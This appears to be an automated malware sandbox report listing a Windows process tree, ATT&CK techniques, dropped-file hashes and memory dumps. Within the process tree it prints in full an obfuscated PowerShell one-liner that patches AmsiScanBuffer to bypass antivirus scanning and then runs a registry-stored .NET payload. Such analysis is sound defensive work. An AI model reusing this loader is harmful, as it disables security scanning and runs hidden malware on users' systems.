        9⤵
        
        PID:5300

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:2132

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:2136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:2204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:2328

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:2464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2504

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2628

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService
1⤵
PID:2692
- C:\Windows\system32\ctfmon.exe
  /QuitInfo:0000000000000270;0000000000000274;
  2⤵
  PID:5008

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc
1⤵
PID:2736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc
1⤵
PID:2744

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2924

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:3100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc
1⤵
PID:3236

C:\Windows\System32\ShellHost.exe
"C:\Windows\System32\ShellHost.exe"
1⤵
PID:3472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:3564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:3604

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:3656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:3668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:3696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:820

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4352

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4688

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4728

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:5128

C:\Windows\System32\SecurityHealthSystray.exe
"C:\Windows\System32\SecurityHealthSystray.exe"
1⤵
PID:5236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc
1⤵
PID:5480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
1⤵
PID:940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:5468

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:548

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5412

C:\Windows\System32\smartscreen.exe
C:\Windows\System32\smartscreen.exe -Embedding
1⤵
PID:3352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:5212

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell.exe -Command ""function Local:qBNqLMzwUddg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$sTAaUNBwjZuxXG,[Parameter(Position=1)][Type]$OQvxPiaXHX)$XIMBPqZWQao=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+'le'+'c'+''+'t'+''+'e'+''+'d'+''+'D'+'el'+[Char](101)+'g'+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+'e'+'l'+''+'e'+'g'+[Char](97)+'te'+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+''+'l'+''+'a'+''+'s'+'s'+[Char](44)+''+[Char](80)+''+'u'+''+'b'+'l'+[Char](105)+''+[Char](99)+''+','+'S'+[Char](101)+''+'a'+''+'l'+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+'la'+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+'o'+'Cl'+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$XIMBPqZWQao.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'p'+[Char](101)+''+'c'+''+[Char](105)+'a'+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+'i'+[Char](100)+''+'e'+''+[Char](66)+''+'y'+'S'+'i'+''+[Char](103)+','+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$sTAaUNBwjZuxXG).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+'M'+'a'+''+[Char](110)+''+'a'+'g'+[Char](101)+''+[Char](100)+'');$XIMBPqZWQao.DefineMethod(''+'I'+''+'n'+'v'+[Char](111)+''+'k'+'e',''+[Char](80)+''+'u'+'b'+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+'B'+''+[Char](121)+''+'S'+'i'+[Char](103)+',N'+[Char](101)+''+'w'+''+[Char](83)+''+[Char](108)+''+'o'+''+'t'+''+[Char](44)+'V'+'i'+''+[Char](114)+'tu'+[Char](97)+''+'l'+'',$OQvxPiaXHX,$sTAaUNBwjZuxXG).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+'im'+'e'+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+'g'+''+[Char](101)+'d');Write-Output $XIMBPqZWQao.CreateType();}$fVtdbTVzokyCV=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+'c'+'r'+'o'+[Char](115)+''+'o'+''+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+'2.'+[Char](85)+''+[Char](110)+''+[Char](115)+''+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+'t'+[Char](105)+'ve'+[Char](77)+''+[Char](101)+''+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+''+'s'+'');$SLpkbUIgqCGahh=$fVtdbTVzokyCV.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'P'+'r'+'oc'+[Char](65)+''+'d'+''+[Char](100)+''+'r'+''+[Char](101)+'ss',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic'+[Char](44)+''+[Char](83)+'ta'+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$WkXoernkyKXNftizspW=qBNqLMzwUddg @([String])([IntPtr]);$dHFdKINmTrORdiUXFOwXdB=qBNqLMzwUddg @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$EIrEDMdqqzV=$fVtdbTVzokyCV.GetMethod(''+[Char](71)+'e'+'t'+'Mod'+'u'+''+[Char](108)+''+[Char](101)+'H'+[Char](97)+'n'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+''+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$VQGiCCOmCGunKu=$SLpkbUIgqCGahh.Invoke($Null,@([Object]$EIrEDMdqqzV,[Object](''+[Char](76)+''+[Char](111)+'a'+'d'+''+[Char](76)+''+[Char](105)+'br'+'a'+''+'r'+''+'y'+''+[Char](65)+'')));$WvNKvFicNFBOVkGJQ=$SLpkbUIgqCGahh.Invoke($Null,@([Object]$EIrEDMdqqzV,[Object](''+[Char](86)+''+'i'+''+'r'+'t'+'u'+''+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$NFmOBLq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VQGiCCOmCGunKu,$WkXoernkyKXNftizspW).Invoke('a'+[Char](109)+'s'+[Char](105)+'.'+[Char](100)+'l'+'l'+'');$ccbyvJNNfgAHhFtkF=$SLpkbUIgqCGahh.Invoke($Null,@([Object]$NFmOBLq,[Object](''+[Char](65)+''+[Char](109)+'si'+[Char](83)+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$MKmCpiTMGJ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WvNKvFicNFBOVkGJQ,$dHFdKINmTrORdiUXFOwXdB).Invoke($ccbyvJNNfgAHhFtkF,[uint32]8,4,[ref]$MKmCpiTMGJ);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](55+76),[Byte](254-61),[Byte](236-236),[Byte](101+83),[Byte](23+64),[Byte](252-252),[Byte](35-28),[Byte](212-84),[Byte](168-37),[Byte](146+47),[Byte](227-227),[Byte](86+109),[Byte](88+43),[Byte](47+187),[Byte](84-84)),0,$ccbyvJNNfgAHhFtkF,182-167);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WvNKvFicNFBOVkGJQ,$dHFdKINmTrORdiUXFOwXdB).Invoke($ccbyvJNNfgAHhFtkF,[uint32]8,0x20,[ref]$MKmCpiTMGJ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+'T'+''+'W'+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+'N'+''+[Char](82)+''+'s'+''+[Char](116)+'ag'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- Executes a command shell one-liner
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:1428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:qBNqLMzwUddg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$sTAaUNBwjZuxXG,[Parameter(Position=1)][Type]$OQvxPiaXHX)$XIMBPqZWQao=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+'le'+'c'+''+'t'+''+'e'+''+'d'+''+'D'+'el'+[Char](101)+'g'+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+'e'+'l'+''+'e'+'g'+[Char](97)+'te'+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+''+'l'+''+'a'+''+'s'+'s'+[Char](44)+''+[Char](80)+''+'u'+''+'b'+'l'+[Char](105)+''+[Char](99)+''+','+'S'+[Char](101)+''+'a'+''+'l'+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+'la'+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+'o'+'Cl'+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$XIMBPqZWQao.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'p'+[Char](101)+''+'c'+''+[Char](105)+'a'+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+'i'+[Char](100)+''+'e'+''+[Char](66)+''+'y'+'S'+'i'+''+[Char](103)+','+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$sTAaUNBwjZuxXG).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+'M'+'a'+''+[Char](110)+''+'a'+'g'+[Char](101)+''+[Char](100)+'');$XIMBPqZWQao.DefineMethod(''+'I'+''+'n'+'v'+[Char](111)+''+'k'+'e',''+[Char](80)+''+'u'+'b'+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+'B'+''+[Char](121)+''+'S'+'i'+[Char](103)+',N'+[Char](101)+''+'w'+''+[Char](83)+''+[Char](108)+''+'o'+''+'t'+''+[Char](44)+'V'+'i'+''+[Char](114)+'tu'+[Char](97)+''+'l'+'',$OQvxPiaXHX,$sTAaUNBwjZuxXG).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+'im'+'e'+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+'g'+''+[Char](101)+'d');Write-Output $XIMBPqZWQao.CreateType();}$fVtdbTVzokyCV=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+'c'+'r'+'o'+[Char](115)+''+'o'+''+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+'2.'+[Char](85)+''+[Char](110)+''+[Char](115)+''+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+'t'+[Char](105)+'ve'+[Char](77)+''+[Char](101)+''+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+''+'s'+'');$SLpkbUIgqCGahh=$fVtdbTVzokyCV.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'P'+'r'+'oc'+[Char](65)+''+'d'+''+[Char](100)+''+'r'+''+[Char](101)+'ss',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic'+[Char](44)+''+[Char](83)+'ta'+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$WkXoernkyKXNftizspW=qBNqLMzwUddg @([String])([IntPtr]);$dHFdKINmTrORdiUXFOwXdB=qBNqLMzwUddg @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$EIrEDMdqqzV=$fVtdbTVzokyCV.GetMethod(''+[Char](71)+'e'+'t'+'Mod'+'u'+''+[Char](108)+''+[Char](101)+'H'+[Char](97)+'n'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+''+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$VQGiCCOmCGunKu=$SLpkbUIgqCGahh.Invoke($Null,@([Object]$EIrEDMdqqzV,[Object](''+[Char](76)+''+[Char](111)+'a'+'d'+''+[Char](76)+''+[Char](105)+'br'+'a'+''+'r'+''+'y'+''+[Char](65)+'')));$WvNKvFicNFBOVkGJQ=$SLpkbUIgqCGahh.Invoke($Null,@([Object]$EIrEDMdqqzV,[Object](''+[Char](86)+''+'i'+''+'r'+'t'+'u'+''+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$NFmOBLq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VQGiCCOmCGunKu,$WkXoernkyKXNftizspW).Invoke('a'+[Char](109)+'s'+[Char](105)+'.'+[Char](100)+'l'+'l'+'');$ccbyvJNNfgAHhFtkF=$SLpkbUIgqCGahh.Invoke($Null,@([Object]$NFmOBLq,[Object](''+[Char](65)+''+[Char](109)+'si'+[Char](83)+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$MKmCpiTMGJ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WvNKvFicNFBOVkGJQ,$dHFdKINmTrORdiUXFOwXdB).Invoke($ccbyvJNNfgAHhFtkF,[uint32]8,4,[ref]$MKmCpiTMGJ);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](55+76),[Byte](254-61),[Byte](236-236),[Byte](101+83),[Byte](23+64),[Byte](252-252),[Byte](35-28),[Byte](212-84),[Byte](168-37),[Byte](146+47),[Byte](227-227),[Byte](86+109),[Byte](88+43),[Byte](47+187),[Byte](84-84)),0,$ccbyvJNNfgAHhFtkF,182-167);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WvNKvFicNFBOVkGJQ,$dHFdKINmTrORdiUXFOwXdB).Invoke($ccbyvJNNfgAHhFtkF,[uint32]8,0x20,[ref]$MKmCpiTMGJ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+'T'+''+'W'+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+'N'+''+[Char](82)+''+'s'+''+[Char](116)+'ag'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2256

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:4716

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:5312

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:4108

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

wmrxd8h.pak

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\ejsyh0p3\wmrxd8h.pak
Size 3.6MB
SHA256 6dd9565c11aeae9449b9fc1318f1094cf148759685b6be536bb43660383c4442
MD5 3d11456f284533194c685c1a5ba5b66c
SHA1 b4233f53bec0b479b5966d563ce2002d93ff4c3d
SHA512 a42310d83269abb73b201b44257bc05df83470d9365b0a39fe18c53165e269696ad21c38ca380ead12709553ee626766f044e6dd498eebf9b12f3b4a6f948cdf
SSDEEP 98304:vStuuh0tm3kw/28FXz3I0O5B2pL/3+dkk:LYP28FXzY0FLP+dX
TLSH
T1F4063359E6EA635AC658D4B28E018E8083CCFF0369410695B3613FBADDF5D04CE7BE49
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Install.exe

Path C:\Users\Admin\AppData\Local\Temp\Install.exe
Size 174KB
SHA256 d574b3a4fcf607c296b91898ef8e32e20753ea00f3df4d7d8a85f51b7510dfbd
MD5 6df775f220a925d4db8e3fd5b53e32f3
SHA1 d8e13c91fef71f8d9035060722e877d710d4b7e5
SHA512 f4901d21f34ca27c53ad88582c762ea6b275f79351ad50d9d03e9603430b6edc8e9aec67a1d1e620a6fe79ba70a455258c660c5d39f6268f69995d008581fefb
SSDEEP 3072:zQps90TW5JqmkYh3tSa0EB/aanUKfD15aJFrOKtrBsJe1Qw1CvV0q/RSIjBl2c2v:zQps90TW5Jqmkwtz0gPUKfDzaJFrOqZ9
TLSH
T185041246EBE8253AF4B24537B9FB9E0151F2B964474AD6AC851420BF1EB0B00853B37F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_fb4eiutm.1xu.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fb4eiutm.1xu.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

lol.exe

Path C:\Users\Admin\AppData\Local\Temp\lol.exe
Size 3.4MB
SHA256 e73699bad1ec1a7c3cd5c6976ab1958508a60d0ee1d4a5c22d5532838c6d881a
MD5 db2affb2bd2073b32730a30ad2d387a2
SHA1 5c98dc7afd57e6b01e57c93eccb94a2e1015b46f
SHA512 8778fef1a3d5b05f92b097b486b5f258c2a71398a3140ad154a16a5bb105797689f1190fce8bf252fcf62249b0847393e9acceef0e98b0f17669d7e7ee5f64a9
SSDEEP 98304:YvY4vavG3MO7oWnnzhQMIJN2Lv1jijeY:dq5oWnnzqM/vFijd
TLSH
T1F4F53359D7AA734BCA58D4B29E41CA8097C8BF0369000652B3713EB9D9F5D08CE7BE46
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

NRExtExport.exe

Path C:\Windows\System32\Tasks\$AppData\NRExtExport.exe
Size 4KB
SHA256 54da79bc25707ba9357fa570ad110e4967ce789906eb1a4a40c495f1ed599eab
MD5 36d11db43d544e47b270c8040f3b83d5
SHA1 0fa13b0a0355efd85933cbe431436edef2f4f3a9
SHA512 a4707de16e721aecc147a7169c9dafed4d196cb3b22258073d84488c471b5f19e55095a236c5f893b7eafc701be9fb77e27d3ef35a5b269910da4e8bfa88a62a
SSDEEP 96:tcKn5ydmCoRydRi9GCCOnknNGdiCipVA9ll7dhFFnh+:R5ydmCoRydRBClyNxC9rhh+
TLSH
T179A1484367FE1109F2F3671CAABB54628A6BBC555A38C43D10AC240DCBF3E2285607B7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/556-77-0x000002460CCD0000-0x000002460CCFC000-memory.dmp

Download

memory/556-68-0x000002460CCD0000-0x000002460CCFC000-memory.dmp

Download

memory/556-76-0x000002460CCD0000-0x000002460CCFC000-memory.dmp

Download

memory/556-74-0x000002460CCD0000-0x000002460CCFC000-memory.dmp

Download

memory/556-73-0x000002460CCD0000-0x000002460CCFC000-memory.dmp

Download

memory/556-75-0x000002460CCD0000-0x000002460CCFC000-memory.dmp

Download

memory/556-78-0x00007FFAD2640000-0x00007FFAD2650000-memory.dmp

Download

memory/744-44-0x00000206228E0000-0x00000206228E9000-memory.dmp

Download

memory/744-45-0x00000206228E0000-0x00000206228E9000-memory.dmp

Download

memory/744-46-0x00000206228E0000-0x00000206228E9000-memory.dmp

Download

memory/744-40-0x00000206228E0000-0x00000206228E9000-memory.dmp

Download

memory/744-39-0x00000206228E0000-0x00000206228E9000-memory.dmp

Download

memory/744-38-0x0000020622810000-0x0000020622815000-memory.dmp

Download

memory/952-49-0x000001EEA04A0000-0x000001EEA04CC000-memory.dmp

Download

memory/952-48-0x000001EEA0470000-0x000001EEA0496000-memory.dmp

Download

memory/1000-54-0x0000012BFE8A0000-0x0000012BFE8CC000-memory.dmp

Download

memory/1000-59-0x0000012BFE8A0000-0x0000012BFE8CC000-memory.dmp

Download

memory/1000-60-0x0000012BFE8A0000-0x0000012BFE8CC000-memory.dmp

Download

memory/1000-63-0x0000012BFE8A0000-0x0000012BFE8CC000-memory.dmp

Download

memory/1000-62-0x0000012BFE8A0000-0x0000012BFE8CC000-memory.dmp

Download

memory/1000-64-0x00007FFAD2640000-0x00007FFAD2650000-memory.dmp

Download

memory/1000-61-0x0000012BFE8A0000-0x0000012BFE8CC000-memory.dmp

Download

memory/1088-1015-0x00000000002E0000-0x0000000000F2F000-memory.dmp

Download

memory/1088-949-0x00000000002E0000-0x0000000000F2F000-memory.dmp

Download

memory/1088-32-0x00000000002E0000-0x0000000000F2F000-memory.dmp

Download

memory/1100-82-0x0000021DE7640000-0x0000021DE766C000-memory.dmp

Download

memory/1100-92-0x00007FFAD2640000-0x00007FFAD2650000-memory.dmp

Download

memory/1100-87-0x0000021DE7640000-0x0000021DE766C000-memory.dmp

Download

memory/1100-88-0x0000021DE7640000-0x0000021DE766C000-memory.dmp

Download

memory/1100-89-0x0000021DE7640000-0x0000021DE766C000-memory.dmp

Download

memory/1100-90-0x0000021DE7640000-0x0000021DE766C000-memory.dmp

Download

memory/1100-91-0x0000021DE7640000-0x0000021DE766C000-memory.dmp

Download

memory/1172-101-0x000002A421970000-0x000002A42199C000-memory.dmp

Download

memory/1172-106-0x00007FFAD2640000-0x00007FFAD2650000-memory.dmp

Download

memory/1172-104-0x000002A421970000-0x000002A42199C000-memory.dmp

Download

memory/1172-102-0x000002A421970000-0x000002A42199C000-memory.dmp

Download

memory/1172-103-0x000002A421970000-0x000002A42199C000-memory.dmp

Download

memory/1172-105-0x000002A421970000-0x000002A42199C000-memory.dmp

Download

memory/1172-96-0x000002A421970000-0x000002A42199C000-memory.dmp

Download

memory/1188-118-0x000002E2DD480000-0x000002E2DD4AC000-memory.dmp

Download

memory/1188-110-0x000002E2DD480000-0x000002E2DD4AC000-memory.dmp

Download

memory/1188-115-0x000002E2DD480000-0x000002E2DD4AC000-memory.dmp

Download

memory/1188-116-0x000002E2DD480000-0x000002E2DD4AC000-memory.dmp

Download

memory/1188-117-0x000002E2DD480000-0x000002E2DD4AC000-memory.dmp

Download

memory/1188-120-0x00007FFAD2640000-0x00007FFAD2650000-memory.dmp

Download

memory/1188-119-0x000002E2DD480000-0x000002E2DD4AC000-memory.dmp

Download

memory/1224-133-0x000001C078EA0000-0x000001C078ECC000-memory.dmp

Download

memory/1224-124-0x000001C078EA0000-0x000001C078ECC000-memory.dmp

Download

